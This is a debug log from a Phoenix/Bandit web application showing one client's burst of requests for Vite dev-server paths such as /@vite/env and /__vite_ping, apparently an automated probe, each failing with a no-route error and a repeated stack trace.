    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:31.073000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33352] GET /@vite/env
[Sat Sep  5 01:59:31.100000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33352] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/env (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:31.117000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33368] GET /@vite/client.js
[Sat Sep  5 01:59:31.137000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33368] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:31.158000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33384] GET /@vite/client.mjs
[Sat Sep  5 01:59:31.158000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:49262] GET /@vite/client
[Sat Sep  5 01:59:31.211000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33384] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:31.212000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:49262] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:31.363000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:47234] GET /@vite/env
[Sat Sep  5 01:59:31.392000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:47234] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/env (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:31.403000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:47246] GET /@vite/client.js
[Sat Sep  5 01:59:31.405000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:47208] GET /@vite/client
[Sat Sep  5 01:59:31.408000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:47248] GET /@vite/client.mjs
[Sat Sep  5 01:59:31.462000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33352] GET /bundledDevClient.mjs
[Sat Sep  5 01:59:31.486000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:47248] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:31.486000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:47246] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:31.493000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:47208] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:31.516000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33352] ** (Phoenix.Router.NoRouteError) no route found for GET /bundledDevClient.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:31.616000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:49262] GET /vite/client
[Sat Sep  5 01:59:31.638000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:49262] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:31.658000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33368] GET /vite/client.mjs
[Sat Sep  5 01:59:31.659000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33384] GET /vite/client.js
[Sat Sep  5 01:59:31.694000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33368] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:31.698000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33384] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:31.712000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:57272] GET /__vitesweep_ping_control_52a614990ef3424f
[Sat Sep  5 01:59:31.736000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:57272] ** (Phoenix.Router.NoRouteError) no route found for GET /__vitesweep_ping_control_52a614990ef3424f (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:31.795000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:39182] GET /__vite_ping
[Sat Sep  5 01:59:31.820000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:39182] ** (Phoenix.Router.NoRouteError) no route found for GET /__vite_ping (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:31.950000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:47234] GET /bundledDevClient.mjs
[Sat Sep  5 01:59:31.990000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:47234] ** (Phoenix.Router.NoRouteError) no route found for GET /bundledDevClient.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:32.005000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:47248] GET /vite/client.mjs
[Sat Sep  5 01:59:32.041000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:47248] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
